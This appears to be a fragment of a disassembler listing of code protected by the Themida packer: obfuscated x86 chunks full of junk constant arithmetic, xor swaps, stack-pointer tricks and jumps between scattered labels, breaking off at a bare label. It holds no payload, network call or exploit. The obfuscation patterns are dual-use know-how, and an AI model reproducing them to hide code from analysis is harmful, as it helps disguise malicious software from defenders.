; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C1D7:				; CODE XREF: sub_58C17E+1FCAj
		mov	esp, [esp+2+var_4+2]
		push	4969h
		mov	[esp+6+var_8+2], ebx
		mov	ebx, 25DE7A5Dh
		add	ebx, 75137FEDh
		jbe	loc_593650
		sub	ebx, 313F7FA4h
		not	ebx
		xor	ebx, 964D8558h
		and	eax, ebx
		jmp	loc_5958DF
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_58C208:				; CODE XREF: sub_591059+143Aj
		shl	esi, 2
		jmp	loc_58DF4E
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5966C1


loc_58C210:				; CODE XREF: sub_5966C1-100Cj
		add	eax, edx
		jmp	loc_58E524
; END OF FUNCTION CHUNK	FOR sub_5966C1
; ---------------------------------------------------------------------------


loc_58C217:				; CODE XREF: Themida_:0058F2FFj
		push	esi
		mov	esi, 0FFFFFFFFh
		add	ebx, 5FBB4C82h
		add	ebx, esi
		jmp	loc_590084
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58AD15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58C233:				; CODE XREF: sub_590467+7566j
		mov	edi, 4
		add	esi, 5EF40639h
		jmp	loc_593842
; ---------------------------------------------------------------------------


loc_58C243:				; CODE XREF: sub_590467-7ABj
		pop	ebx
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_58F500
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58C252:				; CODE XREF: sub_58F5B5+2D45j
		xchg	edx, [esp-8+arg_4]
		pop	esp
		jmp	loc_5967C8
; ---------------------------------------------------------------------------


loc_58C25B:				; CODE XREF: sub_58F5B5+5BE1j
		pop	ebx
		push	ebx
		jmp	sub_591059
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58C262:				; CODE XREF: Themida_:0058F00Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 54082AB2h
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		pop	ebp
		pop	edx
		not	edx
		xchg	edx, ebp
		jmp	loc_58F1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C28C:				; CODE XREF: sub_590010-222Dj
		mov	esi, 0B66687Eh
		shl	esi, 3
		xor	esi, 6FD41C3Ah
		neg	esi
		dec	esi
		xor	esi, 0CB18A031h
		jmp	loc_58C2D1
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58C2A8:				; CODE XREF: Themida_:0058DE17j
		pop	ecx
		not	eax
		not	eax
		add	eax, 0BD67076h
		sub	esi, eax
		pop	eax
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_595208
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58C2C5:				; CODE XREF: sub_595E21-3275j
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebx
		jmp	loc_58F4B2
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C2D1:				; CODE XREF: sub_590010-3D6Dj
					; Themida_:0059293Bj
		add	edx, esi
		jmp	loc_58EE00
; ---------------------------------------------------------------------------


loc_58C2D8:				; CODE XREF: sub_590010+19B7j
		neg	eax
		jmp	loc_59240C
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_58C2DF:				; CODE XREF: sub_58D99C+4D39j
		and	eax, 51F53A7Fh
		jg	loc_58C3BC
		xor	eax, 6593422Ch
		mov	ebx, eax
		pop	eax
		xor	ebp, ebx
		pop	ebx
		push	ebp
		mov	ebx, [esp+0]


loc_58C2F9:				; CODE XREF: sub_58BA12+7458j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+8+var_4]
		pop	eax
		pop	[esp+8+var_8]
		pop	esp
		add	ebx, eax
		push	edx
		mov	edx, 3F794FEAh
		add	ebx, edx
		pop	edx
		xor	edx, eax
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C320:				; CODE XREF: sub_58C17E-137Cj
		mov	[esp+4+var_4], ecx
		push	541Fh
		mov	[esp+8+var_8], edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_58AADC
; ---------------------------------------------------------------------------


loc_58C336:				; CODE XREF: sub_58C17E+17AEj
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58C33F:				; CODE XREF: Themida_:0058A90Aj
		add	esp, 2
		sub	dl, bh
		add	dl, 90h
		pop	ebx
		jmp	loc_595FC4
; ---------------------------------------------------------------------------


loc_58C34D:				; CODE XREF: Themida_:0058FA31j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58C352:				; CODE XREF: Themida_:005940A9j
		add	esp, 4
		sub	esp, 4
		jmp	loc_58D0D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C360:				; CODE XREF: sub_58C17E+1E5Cj
		pop	cx
		add	al, bl
		pop	ebx
		pop	edx
		add	bl, 37h
		add	bl, 0C7h
		sub	bl, al
		sub	bl, 0C7h
		jmp	loc_58A8AA
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58C376:				; CODE XREF: Themida_:0058AD08j
		xor	dh, 1
		shl	dh, 7
		jnz	loc_5947C9
		jmp	loc_595010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C387:				; CODE XREF: sub_590010-36C5j
		xor	ecx, 0F5D2F76h
		and	eax, ecx
		push	[esp-0Ch+arg_8]
		jmp	loc_58F52E
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58C397:				; CODE XREF: sub_590467-48BBj
					; Themida_:00591BD1j
		pop	esp
		jmp	loc_592107
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58C39D:				; CODE XREF: sub_59762D-6773j
		xor	ecx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_597D35
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58C3A8:				; CODE XREF: Themida_:0058BDEEj
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_591A36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_58C3BC:				; CODE XREF: sub_58D99C-16B8j
		xor	eax, 6593422Ch
		mov	ebx, eax
		pop	eax
		xor	ebp, ebx
		pop	ebx
		push	ebp
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_591703
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------


loc_58C3D6:				; CODE XREF: Themida_:0058B978j
		add	esp, 4
		pop	esi
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	638Eh
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	5C9Ah
		mov	[esp], esi
		mov	esi, 39B247E3h
		jmp	loc_594E68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58C413:				; CODE XREF: sub_590467+6BDCj
		mov	ebp, edi
		mov	edi, [esp-8+arg_4]
		jmp	loc_597299
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C41D:				; CODE XREF: sub_58C17E+1EA9j
					; sub_58C17E+711Ej
		mov	edx, [esp+0]
		push	ebx
		jmp	loc_58BFF1
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58C426:				; CODE XREF: Themida_:00595A27j
		shl	esi, 8
		shr	esi, 3
		and	esi, 1ECF0681h
		xor	esi, 2B3C4E4Ch
		sub	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 70C70321h
		dec	ebx
		shl	ebx, 4
		xor	ebx, 5C325FF2h
		jmp	loc_595538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58C450:				; CODE XREF: sub_5EC2E8-57BA7j
		mov	ebx, esp
		jmp	loc_5935D2
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58C457:				; CODE XREF: Themida_:0058CA82j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_58D822
; ---------------------------------------------------------------------------


loc_58C464:				; CODE XREF: Themida_:0058A98Dj
		mov	esi, 260561DBh
		xor	esi, 39FC1A25h
		not	esi
		push	eax
		mov	eax, 663D45C9h
		shr	eax, 8
		not	eax
		push	edi
		mov	edi, 0B9D075F7h
		sub	eax, edi
		pop	edi
		or	esi, eax
		pop	eax
		jmp	loc_5912A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58C48D:				; CODE XREF: sub_5EC2E8-598D6j
		mov	cx, word ptr [esp+30h+var_30]
		push	ebp
		jmp	loc_592ED8
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58C497:				; CODE XREF: sub_5916C4-349Dj
		xor	ebp, ebx
		pop	ebx
		xor	edi, ebp
		pop	ebp
		push	edi
		mov	eax, [esp-16h+arg_10+2]
		add	esp, 4
		mov	edi, [esp-1Ah+arg_14+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5946BF
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58C4BB:				; CODE XREF: Themida_:00596DE5j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_592F8D
; ---------------------------------------------------------------------------
		mov	ebx, 59A87DFDh
		neg	ebx
		jle	loc_591E40
		or	ebx, 1CB7621Eh
		jge	loc_58E0EB
		push	edx
		mov	bh, bh


loc_58C4ED:				; CODE XREF: Themida_:005924FEj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58D9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_58C4F8:				; CODE XREF: sub_595655-3031j
		mov	edx, ebx
		jmp	loc_58F7E2
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58C4FF:				; CODE XREF: sub_5916C4:loc_594CB3j
		or	esi, 57B52F04h
		jmp	loc_591CEE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_58C50A:				; CODE XREF: sub_590B70+2BB3j
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58C50F:				; CODE XREF: sub_5916CB+66BCj
		pop	[esp+4+var_4]
		push	ecx
		not	[esp+4+var_4]
		jmp	loc_591072
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C51B:				; CODE XREF: sub_590010+4461j
		mov	esp, [esp-8+arg_4]
		mov	dx, word ptr [esp-8+arg_4]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_58D3B5
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58C533:				; CODE XREF: Themida_:005920B6j
		mov	[esp], ecx
		mov	ecx, 63FD4B28h
		or	ecx, 0D66C00h
		jmp	loc_591A72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58C546:				; CODE XREF: sub_58F5B5+548Cj
		shr	eax, 2
		jnp	loc_58EACC
		push	edi
		mov	edi, 0EA87F417h
		sub	eax, edi
		pop	edi
		sub	esi, eax
		mov	eax, [esp-0Ch+arg_8]
		push	esp


loc_58C55E:				; CODE XREF: Themida_:0058BFC2j
		sub	ebx, 800C2095h
		add	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		sub	ecx, edi
		mov	edi, [esp-8+arg_4]
		jmp	loc_591F17
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58C577:				; CODE XREF: Themida_:00594A08j
		push	320Eh
		mov	[esp], ecx
		jmp	loc_58D5DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58C584:				; CODE XREF: sub_5EC2E8-5CB9Ej
		push	[esp+34h+var_30]
		jmp	loc_58EEDD
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58C58D:				; CODE XREF: sub_5916C4-4A30j
		pop	bx
		pop	edx
		push	ebx
		jmp	loc_596868
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58C596:				; CODE XREF: Themida_:0058D65Cj
		mov	ebp, 3A4D71C1h
		neg	ebp
		xor	ebp, 8893CE5Fh
		add	ebx, ebp
		pop	ebp
		add	ebx, edx
		sub	ebx, 4D214060h
		mov	[ebx], al
		jmp	loc_591F3F
; ---------------------------------------------------------------------------


loc_58C5B5:				; CODE XREF: Themida_:00594B4Aj
		add	esp, 4
		push	edx
		jmp	loc_58DCA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58C5BE:				; CODE XREF: sub_58B4D6+341Dj
		add	eax, 589C7B72h
		push	[esp+8+var_8]
		pop	ebx
		jmp	loc_590A68
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_58C5CC:				; CODE XREF: Themida_:0058E8B7j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58CB7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C5DA:				; CODE XREF: sub_590010+8050j
		push	edx
		jmp	loc_58A7A8
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58C5E0:				; CODE XREF: sub_58F5B5:loc_58DBDFj
		shr	eax, 6
		jmp	loc_58F927
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F091


loc_58C5E8:				; CODE XREF: sub_58F091+321Cj
		jg	loc_58CA6C
		not	edi
		push	35Fh
		jmp	loc_596F86
; END OF FUNCTION CHUNK	FOR sub_58F091
; ---------------------------------------------------------------------------
		push	edx
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C5FB:				; CODE XREF: sub_58C17E-CC8j
		mov	bl, 0Dh
		shr	bl, 3
		jmp	loc_58BFD3
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58C605:				; CODE XREF: sub_595E21:loc_58FD90j
		jmp	loc_590F3F
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C60A:				; CODE XREF: sub_590010:loc_595ACFj
		dec	ecx
		jno	loc_58F12A
		jmp	loc_58D4ED
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
		mov	ebx, 55AA2E27h
		pop	esi


loc_58C61C:				; CODE XREF: Themida_:00593238j
		mov	esi, 62A6880h
		jmp	loc_58DE67
; ---------------------------------------------------------------------------


loc_58C626:				; CODE XREF: Themida_:00593F76j
		sub	dh, 0C0h
		mov	cl, dh
		jmp	loc_59377B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C630:				; CODE XREF: sub_58C17E+AE11j
		xor	ebx, 6B84F12Bh
		jmp	loc_58C160
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58C63B:				; CODE XREF: Themida_:005969B7j
		mov	esi, [esp]
		add	esp, 4
		inc	esi
		jl	loc_58E1C2
		add	esi, 4C940B83h
		jl	loc_592BA1
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58C654:				; CODE XREF: sub_59762D-727Fj
		js	loc_5908BD
		push	edx
		push	ebx
		mov	ebx, 3A351BA8h
		mov	edx, ebx
		pop	ebx
		push	ecx
		push	edi
		mov	edi, 4B2D6896h
		mov	ecx, edi
		pop	edi
		jmp	loc_595716
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58C673:				; CODE XREF: sub_595258-5936j
		sub	ecx, edi
		pop	edi
		push	edx
		mov	edx, 8653BADh
		xor	edx, 220665D0h
		or	ecx, edx
		pop	edx
		sub	ecx, 0AED9EECEh
		add	esi, ecx
		jmp	loc_58DFAC
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C692:				; CODE XREF: sub_58C17E+539Ej
		pop	ecx
		xor	ecx, 39D076BAh
		sub	eax, ecx
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_58CDF5
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58C6A6:				; CODE XREF: sub_5EC2E8-6093Bj
		jmp	loc_592757
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5930E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D236


loc_58C6BC:				; CODE XREF: sub_58D236+4713j
		pop	esp
		mov	[esp-8+arg_4], ebx
		mov	ebx, 2
		add	ebp, ebx
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		push	ebp
		push	[esp-8+arg_8]
		pop	ebp
		jmp	loc_58E652
; END OF FUNCTION CHUNK	FOR sub_58D236
; ---------------------------------------------------------------------------


loc_58C6DB:				; CODE XREF: Themida_:00596065j
		js	loc_58E392
		dec	edi
		jge	loc_590EBF
		inc	edi
		sub	al, 85h
		push	esi
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58C6EC:				; CODE XREF: sub_58F5B5:loc_591961j
					; Themida_:0059698Dj
		add	esi, 4
		push	6E9Bh
		mov	[esp-4+arg_0], edi
		mov	edi, 51FF38EDh
		neg	edi
		dec	edi
		not	edi
		or	edi, 37DE197Ah
		sub	edi, 77FF39FBh
		add	esi, edi
		jmp	loc_58FDF7
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58C717:				; CODE XREF: sub_5EC2E8-5E521j
		mov	ecx, edi
		jmp	loc_590E4A
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58C71E:				; CODE XREF: Themida_:00594E08j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5979E5
; ---------------------------------------------------------------------------


loc_58C727:				; CODE XREF: Themida_:0058C784j
		shr	ah, 1
		jmp	loc_595903
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58C72E:				; CODE XREF: sub_5916CB+34E3j
		add	eax, 0B13531EBh
		jmp	loc_5973A9
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58C738:				; CODE XREF: Themida_:0058F5E8j
		xor	esi, 12BA440Ah
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2
		add	edi, ecx
		mov	ecx, [esp]
		push	esi
		jmp	loc_58C090
; ---------------------------------------------------------------------------


loc_58C758:				; CODE XREF: Themida_:00595F2Bj
		push	1DD7h
		jmp	loc_590DBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58C762:				; CODE XREF: sub_58F5B5-117Dj
		add	esp, 4
		jmp	loc_58BB39
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58C76A:				; CODE XREF: sub_5916CB-A93j
		mov	esp, [esp+8+var_8]
		and	byte ptr [esp-4+arg_0],	al
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58C776:				; CODE XREF: Themida_:00591490j
		jge	loc_594E0D
		add	ah, 46h
		add	ah, 1
		shr	ah, 1
		jmp	loc_58C727
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		jmp	loc_596AF8
; ---------------------------------------------------------------------------


loc_58C7A2:				; CODE XREF: Themida_:00595CC8j
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58D582
; ---------------------------------------------------------------------------


loc_58C7B5:				; CODE XREF: Themida_:005917CBj
		xor	edx, 3C0AB076h
		jmp	loc_58BEC0
; ---------------------------------------------------------------------------


loc_58C7C0:				; CODE XREF: Themida_:005968BEj
		add	dh, 0A8h
		jb	loc_58ECAF
		push	ecx
		push	edx
		jmp	loc_58CBAB
; ---------------------------------------------------------------------------
		pop	edi
		add	edi, edx
		pop	edx
		push	ebx
		push	edi


loc_58C7D6:				; CODE XREF: Themida_:005900D1j
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_5906ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58C7DE:				; CODE XREF: sub_5938B9+AD2j
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp+0]
		jmp	loc_58E1E4
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58C7ED:				; CODE XREF: sub_59762D-538Bj
		mov	bh, 0D2h
		and	al, bh
		pop	ebx
		inc	al
		jmp	loc_59781D
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_58C7F9:				; CODE XREF: sub_595BDA-1191j
		add	bh, ch
		mov	ecx, [esp+0]
		jmp	loc_5910AE
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_58C803:				; CODE XREF: Themida_:005967FDj
		shl	ah, 3
		jmp	loc_5935A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58C80B:				; CODE XREF: sub_590467:loc_590327j
		sub	ebp, 7E96BDFBh
		mov	edx, ebp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		sub	edi, edx
		pop	edx
		xor	edi, 8B38AA28h
		add	esi, edi
		jmp	loc_59373E
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58C82C:				; CODE XREF: Themida_:00592FA4j
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, 0E240C3D0h
		add	eax, 7E903EA7h
		sub	eax, ebp
		push	ebp
		mov	ebp, 7E903EA7h
		sub	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_591B70
; ---------------------------------------------------------------------------


loc_58C85D:				; CODE XREF: Themida_:00591B76j
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2B7C1E87h
		sub	ebp, 1B08E839h
		add	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58E0A8
; ---------------------------------------------------------------------------


loc_58C898:				; CODE XREF: Themida_:0058B8ADj
		push	dx
		mov	dh, 0E8h
		jmp	loc_590F5B
; ---------------------------------------------------------------------------


loc_58C8A1:				; CODE XREF: Themida_:00596C9Cj
		mov	ecx, esp
		push	ebp
		mov	ebp, 63851776h
		not	ebp
		xor	ebp, 9C7AE88Dh
		sub	ecx, 7D9564B1h
		jmp	loc_595C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58C8BC:				; CODE XREF: sub_595258-9DDj
		xor	[esp+0], edi
		xor	edi, [esp+0]
		xor	[esp+0], edi
		add	edi, 1
		push	ebp
		push	esp
		pop	ebp
		push	2B29h
		mov	[esp+0], edi
		jmp	loc_596CF6
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C8DB:				; CODE XREF: sub_590010+7E96j
		mov	edx, 10CE0E75h
		push	ecx
		mov	ecx, 10CE0E75h
		mov	eax, ecx
		pop	ecx
		jmp	loc_590CD9
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58C8EE:				; CODE XREF: Themida_:0058AE7Aj
		xor	esi, 0B706F184h
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58B3E9
; ---------------------------------------------------------------------------


loc_58C904:				; CODE XREF: Themida_:0058A2FDj
		add	esp, 4
		push	edx
		jmp	loc_58CB6B
; ---------------------------------------------------------------------------


loc_58C90D:				; CODE XREF: Themida_:0058E768j
		pop	bx
		jmp	loc_595789
; ---------------------------------------------------------------------------


loc_58C914:				; CODE XREF: Themida_:0058A858j
					; Themida_:00593555j
		inc	eax
		jp	loc_58DE92
		xor	eax, 7607DFB4h
		shr	eax, 4
		mov	bl, 75h
		push	eax
; START	OF FUNCTION CHUNK FOR sub_592D12


loc_58C927:				; CODE XREF: sub_592D12-4BF1j
		not	eax
		inc	eax
		sub	eax, 0B917BB63h
		and	edx, eax
		pop	eax
		xor	edx, 59256118h
		neg	edx
		sub	edx, 92DB9C6Eh
		jmp	loc_58C16D
; END OF FUNCTION CHUNK	FOR sub_592D12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C945:				; CODE XREF: sub_590010-58C8j
		or	ecx, 65D0F76h
		jmp	loc_58C387
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58C950:				; CODE XREF: sub_590467-11BCj
		add	esp, 4
		push	2AAFh
		mov	[esp], edx
		jmp	loc_5979C9
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58C963:				; CODE XREF: sub_592D25-2801j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		push	edi
		jmp	loc_5908B3
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_59158C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_58C97F:				; CODE XREF: sub_58DBC4-1A96j
		mov	esp, [esp+0]
		mov	[esp+0], eax
		jmp	loc_592E29
; END OF FUNCTION CHUNK	FOR sub_58DBC4
; ---------------------------------------------------------------------------


loc_58C98A:				; CODE XREF: Themida_:0059106Dj
		shl	ecx, 7
		xor	ecx, 56A37E2Bh
		sub	ecx, 69B9405Ah
		jmp	loc_597849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58C99E:				; CODE XREF: sub_594654-8571j
		mov	esp, [esp+4+var_4]
		jmp	loc_58B3A4
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------


loc_58C9A6:				; CODE XREF: Themida_:00590867j
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59506C
; ---------------------------------------------------------------------------


loc_58C9BB:				; CODE XREF: Themida_:005923A0j
		pop	esp
		add	al, 89h
		sub	al, bl
		sub	al, 89h
		push	67CFh
		mov	[esp], ecx
		mov	cl, 0Fh
		sub	cl, 7Ah
		add	cl, 0Ah
		neg	cl
		jmp	loc_58EC39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58C9D9:				; CODE XREF: sub_5916C4-598Ej
